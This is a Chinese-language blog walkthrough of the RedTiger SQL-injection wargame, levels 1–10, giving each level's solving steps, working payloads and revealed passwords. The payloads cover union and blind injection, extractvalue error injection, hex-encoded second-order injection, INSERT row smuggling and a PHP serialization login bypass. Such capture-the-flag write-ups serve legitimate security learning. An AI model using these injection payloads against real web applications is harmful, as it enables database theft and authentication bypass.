本文主要是介绍RedTiger level1-10做题心得与解法,希望对大家解决编程问题提供一定的参考价值,需要的开发者们随着小编来一起学习吧!
Redtiger地址
wechall上的加分地址
文章目录
- level 1
- level 2
- level 3
- level 4
- level 5
- level 6
- level 7
- level 8
- level 9
- level 10
level 1
从Category注入,数字型
order by 4
union select 1,2,3,4
无法查看information.schema
猜测level1_users的列名,没有user列或者说屏蔽了,因此猜测是password的第一条
select group_concat(column_name) from information_schema.columns where table_name = 0x6C6576656C315F7573657273
select password from level1_users limit 1
payload:cat=1 union select 1,2,3,(select password) from level1_users limit 1#
The password for the next level is: passwords_will_change_over_time_let_us_do_a_shitty_rhyme
level 2
很简单的注入
Password: ’ or 1=1 #
The password for the next level is: feed_the_cat_who_eats_your_bread
level 3
错误信息不回显
尝试直接报错注入不行
extractvalue(rand(),concat(0x7e,(database()),0x7e))
报错
usr[]=
得到加密的php
构造sql语句并加密
Admin’ order by 7#
共有7列
但是没有一列显示,应该是在显示的时候只选择显示了第一行
尝试报错注入也不行,应该是通过php语句强行只显示一行
union一下自己的语句,然后通过order排序将自己的语句排到第一位显示
Admin’ union select 1,(select group_concat(password) from level3_users),3,4,5,6,7 order by 1#
The password for the next level is: put_the_kitten_on_your_head
level 4
题目很明显地提示了这是盲注,那就构造盲注语句
id=1 and if(1=1,benchmark(1000000,select 1),1)#
尴尬,不能使用benchmark,那就尝试布尔盲注
id=1 and if(1=1,true,false)
通过返回值判断,如果正确返回1 rows.
如果错误则返回0 rows.
首先判断长度
id=1 and if(length(select keyword from level4_secret limit 1)=20,true,false)
但是这道题目的长度好像求不出来(尴尬,后面发现原来是我上面的sql语句写错了)
正确的求长度语句应该是
id=1 and if((select length(keyword) from level4_secret limit 1) = 21,true,false)
然后开始判断字母
判断字母
id=1 and if(ascii(substr((select keyword from level4_secret limit 1),1,1))>0,true,false)
得到结果
killstickswithbr1cks!
The password for the next level is: this_hack_it’s_old
level 5
题目提示
- 不是盲注
- 密码是md5加密的
- 注意登录错误
首先先找一下注入点
登录名母庸置疑是admin,但是好像直接屏蔽了admin,即使是只输入了admin,也会显示错误。
因此尝试用户名不输入admin,然后添加’’,发现界面会显示错误信息,可以,成功一半了。
报错注入不好使,感觉得构造admin,因此题目屏蔽了substr和mid,left也屏蔽了。
尝试了
- ad’ or ‘admin’#
- adadminmin
- AdMin(各类大小写)
- concat(‘ad’,‘min’)
- ad/**/min
应该是语句里面包含admin都会报错
用’ order by 语句或者’ select 1,2…语句都可以得到这张表只有两列
此时可以构造自己的用户名和密码绕过登录,在wechall上也有同样方法的题目,思路是这样:
因为在username这一栏是从数据库中获得两列数据,不难猜到一个是用户名,一个是密码,此时如果我们输入username=’#,那么返回的就是一个空,但是呢,如果我们在后面union一个我们虚构的用户名和密码,那么这个sql语句返回的就是我们的用户名和密码,即使数据库里没有这一条数据。代码如下:
username=’ union select “1”,md5(1)#
这样我们就虚构了一个用户名为1,密码为md5(1)的数据信息,此时在password栏写上1,就可以绕过登录了。
这个方法适用于没有回显,并且报错注入不能用,但是用户名和密码是分开验证的情况下。
The password for the next level is: the_stone_is_cold
level 6
user是注入点,是数字型注入。
user=1 order by 5#
测试得列数为5
使用union select 1,2,3,4,5#发现不回显,可能也是只显示一行,使用order by测试,猜测第一列是user值,第五列是status值,但是如果把数字列排到前面会显示无user,应该是进行了两次sql查询
思路——二次注入
php中应该是先通过user值查询,再根据查询得到的用户名或者其他信息将用户名和邮箱地址打印出来
第一个查询是数字类型,第二个查询是字符串
语句如下
select 1,2,3,4,5
select * from level6_users
联合起来就是下面这句,但是因为屏蔽了’所以用十六进制来代替
user=0 union select 1,’ union select 1,2,3,4,5 from level6_users limit 1#,3,4,5#
user=0 union select 1,0x2720756e696f6e2073656c65637420312c322c332c342c352066726f6d206c6576656c365f7573657273206c696d6974203123,3,4,5#
发现第二位是username,第4位是email
user=0 union select 1,’ union select 1,username,3,password,5 from level6_users where status=1#,3,4,5#
0x2720756e696f6e2073656c65637420312c757365726e616d652c332c70617373776f72642c352066726f6d206c6576656c365f7573657273207768657265207374617475733d3123
最后完整语句
user=0 union select 1,0x2720756e696f6e2073656c65637420312c757365726e616d652c332c70617373776f72642c352066726f6d206c6576656c365f7573657273207768657265207374617475733d3123,3,4,5#
The password for the next level is: shitcoins_are_hold
level 7
初步判断,从search栏输入关键字,在下面输出包含关键字的文章,sql语句用的应该是like
从报错信息可以得到有两张表
text.id | text.title | text.text |
---|---|---|
news.id | news.autor |
---|---|
屏蔽了order # 空格
SELECT news.*,text.text,text.title FROM level7_news news, level7_texts text WHERE text.id = news.id AND (text.text LIKE ‘%注入点%’ OR text.title LIKE ‘%注入点%’)
发现注释都被过滤了,#是直接过滤了,/**/也被过滤了,而如果输入-- 和–+都被过滤了,看了网上的一些解析,发现是用换行符的url编码来代替空格,但是我在search栏里面写了很多种办法都是数据库报错,这时我就有些疑惑了,然后去抓包,发现我在search栏里输入的空格都变成了+号,难怪sql语句错误,所以这道题要对数据包进行直接更改。知道了这点接下来就都是常规操作了,求列数,看回显,然后把所有的作者打印出来就行了。
payload:search=3333’) union select 1,2,(select group_concat(autor) from level7_news),4–%a0&dosearch=search%21
然后就是一个一个试过去就行了,也可以通过两张表联合起来再找,不过有些麻烦,不如这样方便。
The password for the next level is: or_so_i’m_told
level 8
email可注入,应该把注释过滤了
ICQ和Age都是字符型,都把’转义了,按照错误提示
这是修改数据库内容,因此应该是update语句
update 表名
set ‘’ = ‘’,’’=’’
where ‘’’
这也正好对应了报错语句
猜测sql语句为:
update level8_update
set name=’’,email=’’,icq=’’,age=’’
WHERE id = 1
因为是不可能更改密码的,所以我们要构造语句使得密码显示出来,而这道题表和列名都没有给出,因此很容易就可以想到报错注入,在这道题目中,icq和age中’都被转义了,因此可以在email中添加一个’,在age中添加一个#,使得email的值为**’’,icq=’’,age=’**,这样我们就可以在age的#前面添加报错语句了,事实上我这样确实成功了。
模板如下:
email=’
icq=
age=报错语句#
报错语句如下
-
爆数据库—— and extractvalue(1,concat(0x7e,database(),0x7e))
- 得到数据库名
-
爆表—— and extractvalue(1,concat(0x7e,(select table_name from information_schema.tables where table_schema=database() limit 15,1),0x7e))
- 得到表名,因为只能显示三个,所以我一个一个试过去了,可能有直接显示的办法,但我目前还做不到,发现第十六张表是level8_users
-
爆列名——and extractvalue(1,concat(0x7e,(select group_concat(column_name) from information_schema.columns where table_name=0x6c6576656c385f7573657273),0x7e))
- 因为转义了单引号,因此用十六进制表示表名
-
爆数据——and extractvalue(1,concat(0x7e,(select ll8.password from (select l8.password from level8_users l8) ll8 limit 1),0x7e))
-
这里好坑爹啊,因为在mysql中,update后的FROM后面不能接该表,所以需要一个中间过程,将我们需要的数据通过中间表再select一遍,同时需要取两个别名防止重名,不过结果是好的,得出flag了
-
p.s.我是盲猜密码是第一行的
-
The password for the next level is: network_pancakes_milk_and_wine
level 9
先在每一个输入处都加个单引号测试一下,发现在text内容里输入’会报错,那注入点八九不离十就是这里了。
初步判断这是insert语句,而且题目也说需要得到反馈,那就应该也是报错注入(后面发现不对)
insert语句格式如下
INSERT INTO table_name ( field1, field2,...fieldN )VALUES( value1, value2,...valueN );
因此对于这道题,应该是
insert into ‘’’’’ (‘name’,‘title’,‘text’) values (‘内容’,‘内容’,‘在此注入’)
用了很多种方法发现注释全部都被过滤了,这时就很迷茫,后来看到了别人的payload才恍然大悟,既然不能使用注释,那就把name,title里的值合在一起形成一条记录,然后自己构造一条新的记录,语句结构如下
INSERT INTO table_name ( field1, field2,...fieldN )VALUES(value1), (value2),...(valueN);
因此payload如下:
name:123
title:123
text:1’),((select username from level9_users limit 1),(select password from level9_users limit 1),'123
然后就能得到用户名密码了。
感悟:对于sql语句得要非常熟悉啊,不过话说level 8的报错应该可以把每道题的数据都爆出来-。-
The password for the next level is: whatever_just_a_fresh_password
level 10
开始只有一个Login按钮,检查网页源码发现了一个隐藏的文本框,先修改type属性为text,发现里面有一串密码,每次都改属性挺麻烦的,于是在Burp Suite上操作。
首先先对默认的密码进行解码(Base64),得到
a:2:{s:8:“username”;s:6:“Monkey”;s:8:“password”;s:12:“0815password”;}
发现这是一个php序列化的字符串,然后因为没有这方面的知识,所以去百度了一下,知道了数据库一个有技巧的东西,当where语句后面的条件语句的莫一变量为真时,该语句会变成真但是得到的是一个空,因此可以用来绕过if验证,那么payload就很明显了
payload:a:2:{s:8:“username”;s:9:“TheMaster”;s:8:“password”;b:1;}
The password for the hall of fame is: make_the_internet_great_again
最后放上一张wechell上的截图,差一个就全部是我了哈哈,虽然没什么用,但是自己纪念一下
如有错误望大家指正
交流qq:1020328970
这篇关于RedTiger level1-10做题心得与解法的文章就介绍到这儿,希望我们推荐的文章对编程师们有所帮助!